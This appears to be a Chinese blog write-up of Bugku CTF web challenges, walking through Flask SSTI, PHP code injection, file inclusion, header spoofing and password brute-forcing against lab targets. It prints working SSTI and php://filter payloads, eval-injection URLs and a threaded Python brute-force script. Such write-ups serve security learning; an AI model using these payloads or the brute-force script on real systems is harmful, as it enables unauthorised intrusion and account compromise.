这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看)
所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。
作者:李世荣

转载请标明出处。
1.Simple_SSTI_1
这道题涉及到了SSTI相关的知识点,这里给一个相关知识点的链接,可以额更好的学习相关知识。

链接地址:https://www.yuque.com/jxswcy/ctfnotebook/tdxk3n
        https://www.cnblogs.com/bmjoker/p/13508538.html

花4个金币启动场景,心在滴血。
截屏2021-04-11 下午10.12.35.png
拿我的渣渣英语水平翻译一下:您需要传入一个名为flag的参数。
截屏2021-04-11 下午10.15.04.png

这里看到有一句提示:<!-- You know, in the flask, We often set a secret_key variable.—>
翻一下就是:你知道,在烧瓶里,我们经常设置一个密钥变量。
接下来我们试着百度SSTI,具体可以看大佬博客https://www.cnblogs.com/bmjoker/p/13508538.html
基本理解下来就是我们输入啥,页面某部分会跟着我们输入改变。
根据题目的提示,flag很有可能在SECRET_KEY文件中,我一直卡在看不了SECRET_KEY文件,知道看大佬wp,才知道是config.SECRET_KEY格式

截屏2021-04-11 下午10.21.13.png
2.Simple_SSTI_2

接上一道题,我们再来看看这道题,先启动场景。
截屏2021-04-11 下午10.30.37.png
你需要传入一个名为flag的参数。检查元素,看下这次说的又是什么。
截屏2021-04-11 下午10.32.16.png
emmmm,这好像什么都看不出来,尝试先传入一个参数试试看,是可以执行的,那就传一下错误模版看看情况。
截屏2021-04-11 下午10.37.05.png
截屏2021-04-11 下午10.38.09.png

得到信息是python的flask模板注入题,而且是python3.7(上一道题我发的大佬的链接里也有提到)
网上查找一些payload
文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}
命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}
先执行ls看看
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

截屏2021-04-11 下午10.42.15.png

看到flag就在当前目录了
执行cat flag就能拿到flag
发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

截屏2021-04-11 下午11.03.40.png
截屏2021-04-11 下午11.12.52.png
3.Flask_FileUpload

直接启动场景,看看是什么内容。
截屏2021-04-11 下午11.14.43.png
截屏2021-04-11 下午11.15.05.png
检查一下元素,发现题目提示的很明显了已经。
POST方法,提交一个名为”file”,’jpg,png’格式的文件。那我们就提交一个好了。
截屏2021-04-11 下午11.15.49.png
截屏2021-04-11 下午11.18.40.png

直接报错,就知道不会那么简单
<!-- Give me the file, and I will return the Running results by python to you! —>
这语句给漏了(瞎子李师傅)
这句说是说,让我们上传文件,然后文件会被Python执行。
那我们就准备一个Python文件,改一下文件属性再次上传试一下。

截屏2021-04-11 下午11.29.27.png

成功拿下flag,那我们说说这道题的考点在哪里呢。
FileUpload 函数 Flask 方法 system --- 进程 os
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,子进程的执行结果无法影响主进程;
os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成,远程代码执行

4.web1

寒假当时做的题了。这道题花了我一个金币又开启了环境,心在滴血,这道题应该就是签到题的难度,F12打开,找到flag直接搞定。
截屏2021-04-12 下午9.40.14.png
截屏2021-04-12 下午9.42.22.png
5.web2

这5道web题我都做过了,这里再次打开环境就是为了写一下writeup,金币很珍贵,大家且看且珍惜吧。
启动场景,题目提示输入验证码即可得到flag。
截屏2021-04-12 下午9.46.17.png
发现只能输入一位,立马懂了,立马检查元素,修改输入。
截屏2021-04-12 下午9.47.41.png
很简单,在body里把”input”maxlength=“1”改成maxlength=“3”就可以了,输入正确的值即可得到flag。
6.web3

这道题什么都没有,就给了个flag格式”flag{}”,启动场景简单看一下吧。
截屏2021-04-12 下午9.52.55.png
截屏2021-04-12 下午9.53.46.png

不废话直接一步到位。
好了,下面是给萌新科普的时刻,大佬请跳过。
$what=$_GET['what']; //GET 方式获取参数what
echo $what; //输出what 参数的值
if($what=='flag') //if 判断 $what 是否等于 flag
echo'flag{****}’;
通过GET 方式(URL)获取一个参数,参数名是`what`。
直接提交?what=flag,得到flag

7.web4

这道题题目里给了post,由于上道题是GET方式穿参,这道题就应该是POST方式。启动场景看看。
截屏2021-04-12 下午10.00.08.png
那就用POST方式传参,拿一下flag。
截屏2021-04-12 下午10.17.31.png
8.web5

这道题给的提示是矛盾,打开环境看看什么矛盾。
截屏2021-04-12 下午10.21.46.png

看到这里已经明白是怎么一回事了,直接构造拿到flag,大佬请跳过,开始新手讲解。
is_numeric()函数用于检测变量是否为数字或数字字符串。
题目要求用GET()方式传递num参数,要求num不能是数字或数字字符串,并且等于1;
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,
所以构造num=1%00
得到flag

截屏2021-04-12 下午10.25.56.png

9.web6

开了场景,直接跳出弹窗,flag就在这里。
截屏2021-04-12 下午10.27.37.png

点击确定发现根本关不掉弹窗,突然灵机一动,李师傅已经知道是怎么一回事了。
这道题涉及到了一些知识点。下面我细说一下,大佬请跳过,萌新快点记笔记。
前方高能!!!
李师傅开课啦。
本题要点:NCR 转义序列(Unicode)
在Windows中经常需要用到多字符与宽字符的转换方法,多字符(MultiChar)也就是ANSI编码的方式,而宽字符(WideChar)也就是Unicode编码的方式。
ANSI是默认的编码方式。对于英文文件是ASCII编码,对于简体中文文件是GB2312编码(只针对Windows简体中文版,如果是繁体中文版会采用Big5码)。
如果是为了跨平台兼容性,只需要知道,在 Windows 记事本的语境中:
所谓的「ANSI」指的是对应当前系统 locale 的遗留(legacy)编码。
所谓的「Unicode」指的是带有 BOM 的小端序 UTF-16。
所谓的「UTF-8」指的是带 BOM 的 UTF-8。
GBK 等遗留编码最麻烦,所以除非你知道自己在干什么否则不要再用了。
UTF-16 理论上其实很好,字节序也标明了,但 UTF-16 毕竟不常用。
UTF-8 本来是兼容性最好的编码但 Windows 偏要加 BOM 于是经常出问题。
所以,跨平台兼容性最好的其实就是不用记事本。
建议用 Notepad++ 等正常的专业文本编辑器保存为不带 BOM 的 UTF-8。
另外,如果文本中所有字符都在 ASCII 范围内,那么其实,记事本保存的所谓的「ANSI」文件,和 ASCII 或无 BOM 的 UTF-8 是一样的。
下面我们切入正题!
一直点确定,发现一直重复这两个页面...........emmmmm.........不过还是一直点完了...
右键查看源码

截屏2021-04-12 下午10.50.20.png

发现了一串奇怪的字符
&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;为NCR 转义序列(Unicode)
decode的作用是将其他编码的字符串转换成unicode编码,如str1.decode('gb2312'),表示将gb2312编码的字符串str1转换成unicode编码。
encode的作用是将unicode编码转换成其他编码的字符串,如str2.encode('gb2312'),表示将unicode编码的字符串str2转换成gb2312编码。

截屏2021-04-12 下午10.59.02.png
截屏2021-04-12 下午10.53.54.png
截屏2021-04-12 下午10.59.19.png
10.web7

题目提示你必须让他停下,突然有种一种不祥的预感,废话不多说,先打开看看。
截屏2021-04-12 下午11.05.08.png
其实这个题目是让网页不断刷新,然后每隔10次左右就会刷新出flag,具体可以看页面,页面处于不断刷新的状态,但是过一会就能看到一个图标冒出来,那么久大胆假设,然后用BP抓包一下。
截屏2021-04-12 下午11.11.02.png
打开源代码发现用了js的setTimeout函数,挂个链接可以去看看这个函数的大致讲解。

链接地址:https://blog.csdn.net/qq_34208844/article/details/84332199

如果不会用BurpSuite的同学可以关掉JavaScript,在右下角有个Debugger,第一个Disable JavaScript,点击即可。

2021.4.12

最近在写这道题的writeup时候,发现这个方法不能用了,也就是说出题人就是想人大家用BurpSuite抓包,那我们就抓包好了。
截屏2021-04-12 下午11.26.56.png
打开burpsuite发送到repeater,然后不停的gogogogogogogo,后台总共有15个jpg,后台会随机返回一个图片,如果jpg为10的时候就能得到flag(不完全是,有一定的概率,多试几次就好了)这道题忒邪乎,这得亏是在练题,要在比赛,我肯定觉得不对劲。
拿到了flag,放图证明下。
截屏2021-04-12 下午11.35.54.png

11.web8

这道题目提示是文件包含,文件包含的题也算是老面孔了,打开环境看看。
截屏2021-04-12 下午11.40.56.png

打开之后看代码,发现包含一个flag.php文件,这个文件就是关键所在。打开后就得到了flag。
看后面的代码我们可以知道最后通过var_dump函数实现输出,那就从这里入手。他要输出a,那就把flag.php传到a里面,那怎么传到a呢,又发现前面一行通过request函数将hello字段的东西传给a,那好办了。
将flag.php以文件方式打开到hello里面。具体操作如下:
打开hackbar,在post传值块输入hello=file(‘flag.php’),跑一下就出来了。

截屏2021-04-12 下午11.44.09.png

这里提供一些其他思路:
方法一:eval存在命令执行漏洞,使用hello构造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
方法二:
http://120.24.86.145:8003/index.php?hello=1);include $_POST['f'];//
在POST区域:f=php://filter/convert.base64-encode/resource=flag.php ?
Base64解码即可。
方法三:直接将flag.php文件读入变量hello中
?hello=get_file_contents('flag.php')
?hello=file('flag.php’)   #这就是我们用的方法。

12.web9

题目描述:题目已修复,启动场景看看是什么内容。
截屏2021-04-15 下午3.01.49.png
观察代码发现有包含漏洞,那么只需要给args GET传值一个全局变量就行,于是构造?args=GLOBALS,跑一下,得到flag。
截屏2021-04-15 下午3.06.20.png

flag In the variable ! <?php  


error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){           //判断args参数是否存在
    $args = $_GET['args’];          //参数值赋给$args
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
*flag In the variable提示flag通过变量读取
包含文件flag1.php
if(isset($_GET['args'])){       
    $args = $_GET['args'];   
*知识点:
preg_match("/^\w+$/“,$args)执行正则表达式匹配
/^开始,\w表示任意一个单词字符,即[a-z][A-Z][0-9],+将前面的字符匹配一次或多次,$/结束。后面的args变量是被匹配的。相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。
因为有正则表达式的验证过程,所以我们没法利用本地包含漏洞查看flag1.php
这里我们通过 $ $args(可变变量)获取flag, $ $argvs作用类似于
$a = "hello";//声明变量a
$hello = "world";//声明变量hello
echo $$a //输出world
联想到PHP中$GLOBALS[index] 的数组中存储了所有全局变量,令args=GLOBALS正好符合条件利用可变变量输出,最后得到flag。

13.web10

题目描述:头等舱。打开环境,网页显示,什么也没有,检查一下元素,看看有什么发现没有。
截屏2021-04-15 下午3.19.03.png
题目提示是头等舱,思考一下,是不是header里有情况,随便提交个数据,看一下。
啊这,这道题看了一下请求头直接出来了。真~请求头
截屏2021-04-15 下午3.25.07.png
14.Web11

题目提示:网站被黑了 黑客会不会留下后门,打开环境,看看黑客的操作。
截屏2021-04-15 下午3.45.17.png
哈哈哈哈哈哈笑死我了,那就看看黑客的高端操作。除了鼠标移动时画面很好看之外,什么也没有发现,检查元素也没发现什么,再看看网页源码还是一无所获。
那就直接御剑扫一波,扫到一半,看到/shell.php,那这就没什么好说的了,直接进去看看。
截屏2021-04-16 下午9.41.30.png
截屏2021-04-16 下午9.45.55.png
出现了一个让输入密码的界面,首先想到的是爆破,但是不知道密码大概是几位,这里就按以往经验忙猜一下。
截屏2021-04-16 下午9.59.58.png
截屏2021-04-16 下午10.01.02.png
截屏2021-04-16 下午10.02.20.png
截屏2021-04-16 下午10.44.04.png
截屏2021-04-17 下午5.02.11.png
截屏2021-04-16 下午11.01.19.png
这里要尝试多用几个字典,爆破是一句话的事情,可是爆破不出来结果还是很烦的,所以我们平时要收集一些字典。
这里爆破出来,顺利拿到了flag。
15.web12

这道题打开,题目提示,本地管理员
截屏2021-04-17 下午5.21.02.png
截屏2021-04-17 下午5.23.02.png
查看源码是好习惯,这不就发现了东西吗,这是个编码方式,忙猜一波base64,那就简单解码一下。
截屏2021-04-17 下午5.27.10.png

一般管理员账号都是admin,那密码就是test123了,放进去试一下。
但是这里还是报错,还是不行,哪里不行呢,想了一下,对了,忘了一样东西。
X-Forwarded-For:  127.0.0.1
使用BurpSuite抓包

截屏2021-04-17 下午8.46.36.png
截屏2021-04-17 下午8.48.57.png
16.web13
题目提示查看源代码,打开环境看看。
截屏2021-04-17 下午9.19.48.png
截屏2021-04-17 下午9.20.30.png

根据题意,打开源代码,发现了一片奇怪的JS代码,猜测是URL编码(URL编码的特点就是  %数字%数字%数字……)
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
URL解码网站:http://tool.chinaz.com/tools/urlencode.aspx
用URL解码器解一下,得到三行代码
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
54aa2
把代码拼接,然后整理一下顺序,得到如下代码


function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
按照代码的意思,我们将67d709b2b54aa2aa648cf6e87a7114f1填入框中,得到flag

截屏2021-04-17 下午9.26.18.png
17.web14

这道题没有任何提示,我们先打开环境看看:click me?no
截屏2021-04-17 下午9.28.06.png
点击进去看看
截屏2021-04-17 下午9.28.39.png

提示index.php,除此之外没有提示,看看源码,也什么都没有。
此时注意到URL栏中出现了一个file=show.php,看到file可以想到这是一个典型的文件包含漏洞
令file=php://filter/read=convert.base64-encode/resource=index.php

截屏2021-04-17 下午9.33.46.png
得到了一串base64编码,盲猜是flag。试试去。试试就拿到了flag。
截屏2021-04-17 下午9.35.42.png

这里扩充一下知识点,为什么看到file=show.php就联想倒了文件包含漏洞
①php封装协议
知识点:https://www.php.net/manual/zh/wrappers.php.php
②file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先这是一个file关键字的get参数传递
php://是一种协议名称
php://filter/是一种访问本地文件的协议
/read=convert.base64-encode/表示读取的方式是base64编码后
resource=index.php表示目标文件为index.php
③为什么通过传递这个参数能得到源码
原因在于源代码中使用了include()函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,使include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,会返回源码,由此我们得到了源码的base64格式,解码即可的到源码。
反观,如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

18.web15

题目给出的提示是好像需要密码,那么我们就要拿到密码,开环境。
截屏2021-04-17 下午9.41.28.png
没什么好说的,爆破题目,直接上家伙爆破。
1.脚本爆破(线程别开太多哦,慢一点至少不会崩了)

脚本:
import requests
import threading

psw = 0
lock = threading.RLock()
gotit = False
correct = ""

class BreakThread(threading.Thread):
def run(self):
global psw, gotit, correct
while True:
lock.acquire()
if psw > 99999 or gotit:
lock.release()
break
d = {
"pwd": str(psw).zfill(5)
}
psw = psw + 1
lock.release()
r = requests.post("http://114.67.246.176:15110/?yes", data=d) #题目环境自行更改
r.encoding = "utf-8"
try:
r.text.index("密码不正确")
except ValueError:
print(d["pwd"] + " right")
gotit = True
lock.acquire()
correct = d["pwd"]
lock.release()
break
else:
print(d["pwd"] + " wrong")


l = []
for i in range(2):
l.append(BreakThread())
for i in l:
i.start()
for i in l:
i.join()
print("正确密码:"+correct)

截屏2021-04-17 下午9.49.21.png
截屏2021-04-17 下午10.08.29.png
截屏2021-04-17 下午10.08.58.png
2.burpsuite爆破
截屏2021-04-17 下午10.04.55.png
先抓包,然后发送给测试器,设置payload,准备爆破,纯数字,5位数,设置好就开始。这里就不细说了,大家自己实践即可。

最后修改:2021 年 09 月 13 日 09 : 29 PM
如果觉得这篇文章不错,不妨赏我碎银几两。